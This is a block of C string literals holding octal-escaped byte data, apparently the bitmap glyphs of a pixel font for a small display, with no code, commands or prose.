"\377\374\340\200\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\0\0\0\0\3\7\17\17\37\37>>>" ">>>>>\37\37\37\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\377\377\377\377\377xxxxxx" "xxxxx\377\377\377\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77\77" "\77<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0" "\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\300\200\0\0\0\0\0\0\0\200\377\377\377\377\377\0\0" "\0\0\0\0\0\6\17\17\37\37>>>>>>\37\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0" "\0\0\0\0\200\300\300\300\300\300@\0\377\377\377\377\377\0\0\0\0\200\300\360\370\374\376\77\37\17\7\3" "\1\0\0\0\377\377\377\377\377\370|~\377\377\377\347\203\1\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\1\3\17\37\177\377\376\370\360\340\200\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\3\7\37\77\77\77<\70\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77<<<<<<<<<<<<<<<<\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300\300\0\377\377\377\377\377\376\370\340\200\0\0\0\0\0\200\340\370\376\377\377" "\377\377\377\0\377\377\377\377\377\1\7\37\177\376\370\340\370\376\77\37\7\1\377\377\377\377\377\0\377\377\377\377" "\377\0\0\0\0\1\7\7\3\0\0\0\0\0\377\377\377\377\377\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\377\377\377\377" "\377\177\376\370\340\300\0\0\0\0\0\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\1\7\37\177\377\374" "\360\300\200\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\1\3\17\77\377\376\370\377\377\377" "\377\377\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\3\17\37\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\340\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377" "\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\0\3\7\17\17\37\37>>><" ">>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\3\7\7\7\17\77\377\377\376\374\360\0\0\377\377\377\377\377\360\360\360\360\360\360" "\360\360\360\370\370\376\177\177\77\17\3\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\200\0\0\0\0\0\0\0\300\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\177\377\377\377" "\374\300\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\1\3\7\17\37\77\77>\374\374\374" "\374>>\37\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\37\36\36\36\36\36\36" "\36\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\7\7\7\17\37\377\377\376\374\360\0\0\0\377\377\377\377\377\360\360\360\360\360\360" "\360\360\360\370\374\177\77\77\17\3\0\0\0\377\377\377\377\377\0\0\0\0\0\1\7\37\177\377\376\370\340\200" "\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\1\7\37\77\77><\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\360\374\376\377\377\37\17\7\7\7\3\7\7\7\17\37\77\77\36" "\4\0\0\0\0\1\7\17\37\37\77>||x\370\360\360\360\340\340\300\300\200\0\0\0\0\0\200\340\300" "\200\0\0\0\0\0\0\0\0\1\1\3\307\377\377\377\377\374\0\0\3\7\17\17\37\37\36>>><>" ">>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\3\3\3\3" "\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377" "\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377\377\177\0\0\0\1\7\17\17\37\37\77>>>>" ">>\77\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300@\7\77\377\377" "\377\370\300\0\0\0\0\0\0\0\0\0\340\374\377\377\177\17\3\0\0\0\1\7\77\377\377\376\360\200\0\0" "\0\200\360\377\377\377\37\3\0\0\0\0\0\0\0\0\0\1\17\177\377\377\374\340\374\377\377\77\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\377\377\377\377\300\0\0\0\0\340\376\377\377\370\200\0\0\0\200\377" "\377\377\377\3\3\377\377\377\377\360\0\360\377\377\77\7\177\377\377\374\300\200\377\377\377\77\0\0\0\0\77\377" "\377\377\377\377\77\3\0\0\0\7\177\377\377\377\377\377\17\0\0\0\0\0\0\17\77\77\77\3\0\0\0\0" "\0\0\0\7\77\77\77\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\1\7\37" "\177\377\376\370\360\300\0\0\200\340\370\376\377\177\37\7\3\0\0\0\0\0\0\0\0\1\3\217\377\377\377\376" "\377\377\337\7\1\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\177\37\7\7\17\77\377\377\374\360\340\200" "\0\0\0\0\60<\77\77\77\37\7\1\0\0\0\0\0\0\0\3\17\37\77\77>\70\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\300\360\374\377\377\77" "\17\3\0\0\0\0\0\0\1\7\37\177\377\377\374\360\370\376\377\177\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\3\3\3" "\3\3\3\3\3\3\3\3\3\303\343\373\377\377\177\37\17\3\0\0\0\0\0\0\0\0\0\200\300\360\370\376" "\377\177\37\17\3\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\177\37\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0<>\77\77\77\77\77<<<<<<<<<<<<<>>\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\200\200\200" "\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0`\340\360\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7" "\37\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376" "\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\360\300\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377|p\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200" "\200\200\377\377\377\377\377\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\340\360\374\376\77\37\177\376\374\360\300\0\0\0\0\0\0\0\0\0\10\14\37\37\37\7\3\0\0\0" "\0\1\7\37\37\37\16\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\200\200\200\200\200\200\200\200\200\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\37\77\377\377\376\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77" "\177\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\200\0\0" "\0\0\0\0\0\0\2\7\17\217\207\207\303\303\303\303\303\303\307\317\377\377\377\376\370\0\0\0\370\374\376\377" "\377\217\17\7\7\7\7\7\3\203\203\343\377\377\377\377\377\0\0\0\1\3\7\17\17\37\37\37\37\36\37\37" "\17\17\17\7\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377>\17\17\7\7\7" "\7\7\17\17\37\377\377\376\374\360\300\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\77\77\77\77\7\17\37\36>><>>>\77\37\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\200" "\0\0\0\0\0\300\370\374\376\377\77\37\17\7\3\3\3\3\3\3\7\7\17\77\37\16\4\0\0\37\177\377" "\377\377\360\300\200\200\0\0\0\0\0\0\0\200\200\300\300\0\0\0\0\0\0\1\3\7\7\17\17\17\37\37" "\37\36\37\37\37\17\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\20\0\0\0\0\0\0" "\0\0\200\200\200\200\200\200\200\200\0\0\377\377\377\377\377\0\0\0\300\370\374\376\377\177\37\17\7\7\7\7" "\7\17\37>\377\377\377\377\377\0\0\0\77\377\377\377\377\340\200\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\1\3\17\17\37\37\77>><>>\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\300\360\370\376\376\277\237\217\207\207\207\207\207\207\217\217\237\377\376\374\370\340\0\0\77\377\377\377" "\377\347\207\7\7\7\7\7\7\7\7\7\7\7\207\7\7\7\0\0\0\1\3\7\17\17\37\37>>>>" "<>>>\37\37\17\17\6\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\360\360\360\360\360\360\360\340\300\300\0\0\0\0\0" "\0\0\376\377\377\377\377\3\1\0\0\0\0\0\1\3\7\7\1\0\0\17\17\17\17\17\377\377\377\377\377\17" "\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\200\200\200" "\200\200\200\200\0\360\374\376\377\377\17\7\3\3\3\3\3\7\17\377\377\377\377\347\7\7\7\7\0\3\207\317" "\377\377\177~||x||~\77\77\37\17\7\3\0\0\0\0\200\340\347\377\377\177>\36\36\36\36\36" "\36\36\36>>>\374\374\374\370\340\0\7\17\37\77\77>||||xx||||<>\77\37" "\17\7\1\0\0\360\360\360\360\360\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377~\36\17\17\7\7" "\7\7\17\37\377\377\376\374\360\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360" "\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\201\203\207\207\207\203\1\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77" "\77\77<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\200\200\200\200\200\200\200\200\201\203\207\207\207\203\1\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7" "\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0" "\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\14\36\37\77" ">|||x||>\77\77\37\17\7\1\0\0\0\0\0\0\0\360\360\360\360\360\20\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\377\377\377\377\377\0\200\300\300\340\360\370|>\77\37\17\7\3\1\0\0\0\0\377\377\377" "\377\377\37\17\7\17\37\177\376\374\370\360\340\300\200\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0" "\0\1\3\7\37\77\77><\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<<\77\77\77\77\77<<<<<<<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\200\300\300\300\300\300\300\200\0\200\300\300\300\300\300" "\300\200\0\0\377\377\377\377\377\17\3\3\3\377\377\377\377\377\17\3\3\3\377\377\377\377\377\0\377\377\377\377" "\377\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377\377\377\0\37\37\37\37\37\0\0\0\0\37\37\37" "\37\37\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\200\300\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\377\377\377\377\377\77\17\7\7\3\3" "\3\3\7\17\377\377\377\376\370\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\300\370\374\376\377\77\17\7\7\3\3\3\3\3\7\7\37\177\377\377\374\370\300\0\37\177\377\377" "\377\360\300\200\0\0\0\0\0\0\0\200\300\360\377\377\377\177\37\0\0\0\1\3\7\7\17\17\37\37\37\36" "\37\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\0\0\0\200\200\200\300\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377>\17\17\7\7\7" "\7\7\17\17\37\377\377\376\374\360\300\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\377\377\377\377\377\17\37\36\36><>>>\77\37\37\17\7\3\1\0\0\0\177\177\177" "\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\200\0\300\300\300" "\300\300\0\0\340\370\376\377\377\77\17\7\7\3\3\3\3\3\7\17\37\377\377\377\377\377\0\0\37\377\377\377" "\377\360\300\200\0\0\0\0\0\0\0\200\340\377\377\377\377\377\0\0\0\0\1\3\7\17\17\37\37\37\37\36" "\37\17\17\7\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\300\0\0\200\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\377\377\377\377\377\177\37\17\7" "\7\3\3\3\3\3\7\17\37\7\1\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\0\0<\177\377\377\377\347\307\303\203\203\203\203\7\7\17\77\37\17\2\0\0\0\0\200\340\340" "\300\201\1\3\3\3\7\7\7\7\17\237\377\376\374\374\360\0\0\0\1\3\7\7\17\17\17\37\37\37\36\37" "\37\37\37\17\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\200\376\376\377\377\377\200\200\200\200\200\200\200\0\0\0\0\0\0\7\7\7\7\7\377\377\377\377\377\7" "\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\200" "\0\0\0\0\0\0\0\0\0\0\3\17\37\37\77\77>><>>\36\37\17\16\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377" "\377\377\200\0\0\0\0\0\0\0\0\300\377\377\377\377\377\0\0\0\0\0\3\17\17\37\37\77>><>" ">\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\1\17\77\377\377\376\370\300\0\0\0\0" "\0\0\0\200\360\376\377\377\37\7\0\0\0\0\0\0\7\37\377\377\377\370\340\0\300\370\376\377\77\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\0\377\377\377\360\0\0\0\0\340\376\376\376\376\360\200\0\0\0\377\377\377\377\37\0\7\177\377\377" "\377\340\340\376\377\77\7\7\77\377\377\370\300\374\377\377\377\7\0\0\0\0\17\77\77\77\77\37\3\0\0\0" "\0\3\37\77\77\77\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0\1\7\17\37\177\376\374\370\340\300\200" "\340\360\374\376\177\37\17\3\1\0\0\0\0\0\0\0\200\300\340\371\377\377\77\77\377\377\371\360\300\200\0\0" "\0\0\0\0 \70<>\77\77\17\7\1\0\0\0\0\1\3\17\37\77\77>\70\60 \0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\0\1\7\37\377\377\377\370\340\0\0\0\0\0\0\0\200\360\377\377\377\77\7\0\0\0\0\0\0" "\3\17\77\377\377\374\340\200\200\360\376\377\377\37\7\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377" "\377\177\37\3\0\0\0\0\0\0\0\0>\77||x||~\77\77\37\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\7\7\7\7\7\7\7\7\7\207\307" "\367\377\377\177\77\37\17\7\0\0\0\0\0\0\0\200\300\360\370\374\376\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0<>\77\77\77\77\77=<<<<<<<<<<<<>>\0\0\0\0\0\0" 